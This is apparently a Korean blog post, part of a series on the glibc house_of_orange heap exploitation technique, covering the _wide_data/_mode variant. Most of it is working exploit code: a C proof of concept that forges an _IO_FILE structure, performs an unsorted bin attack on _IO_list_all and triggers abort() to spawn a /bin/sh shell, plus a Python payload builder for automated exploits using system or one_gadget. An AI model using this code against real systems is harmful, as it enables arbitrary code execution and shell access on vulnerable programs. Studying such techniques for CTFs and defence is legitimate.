Profile

youngsouk

youngsouk

house_of_orange - _wide_data 이용해서 익스플로잇(자동 구조체)

2019/09/03 - [힙(heap)/house_of_orange] - house_of_orange (2)

이전에는 아래의 조건문 중에서 앞의 조건문을 통과시켜 _IO_OVERFLOW를 실행시켰습니다. 이번에는 _mode와  _wide_data부분을 수정하여서 조건문을 만족시키는 것을 해볼 것입니다. 

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )

그래서 이것을 만족하게 하려면 전과는 다르게 _mode를 양수로 설정하고 _wide_data를 잘 조정하면 됩니다. 이것을 소스코드로 나타내면

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sys(char* ptr){
        system(ptr);
}

int main(){
        char *p1_chunk = malloc(8) - 2 * 8;
        size_t*  top = (size_t*) (p1_chunk + 32);
        size_t _IO_list_all;

        top[1] = 0xfe1;

        malloc(0x1000);

        memcpy((char*)top,"/bin/sh\x00",8); // _IO_OVERFLOW's parameter
        // fake _IO_FILE_PLUS 
        _IO_FILE *fp = (_IO_FILE *) top;

        fp -> _mode = 1;
        top[20] = (size_t)&top[18]; // _wide_data = &top[18]
        top[21] = 2; // _wide_data -> _IO_write_base
        top[22] = 3; // _wide_data -> _IO_write_ptr

        *(size_t *) (((size_t)fp + sizeof(_IO_FILE))) = (size_t)&top[5];// vtable : &top[12]
        top[8] =(size_t) &sys; // write _IO_OVERFLOW()
        //////////////////////

        // unsorted bin attack
        _IO_list_all = top[2] + 0x9a8; // calculate _IO_list_all using offset

        top[3] =(size_t)_IO_list_all - 16;
        /////////////////////

        //adjust chunk size
        top[1] = 0x61;
        ////////////////////

        //triger abort()
        malloc(10);
}

이렇게 되고 이것을 실행시키게 되면 오류메시지가 생기면서 쉘이 따지게 됩니다.

2019/09/09 - [힙(heap)/house_of_orange] - house_of_orange (5) 자동 구조체 생성기 모듈 만들기

이 방법도 자동 익스플로잇으로 짤 수 있게 파이썬으로 짜봅시다. 위의 조건문을 통과하도록 구조체를 잘 짜맞추어야됩니다. 코드가 더 이해하시기 편할 테니 코드로 보여드리겠습니다.

def hog_wide_data(IO_list, ptr, fun):
        payload = '/bin/sh\x00'
        payload += p64(0x61) # size
        payload += p64(0)
        payload += p64(IO_list - 16) # bk
        payload += p64(2) #_IO_write_base
        payload += p64(3) # _IO_write_ptr
        payload += p64(fun) # one_gadget or system
        payload = payload.ljust(0xa0, '\x00')
        payload += p64(ptr+8)
        payload = payload.ljust(0xc0, '\x00')
        payload += p64(1) # _mode
        payload = payload.ljust(0xd8,'\x00')
        payload += p64(ptr+24) # vtable

        return payload

이런식으로 짤 수 있습니다.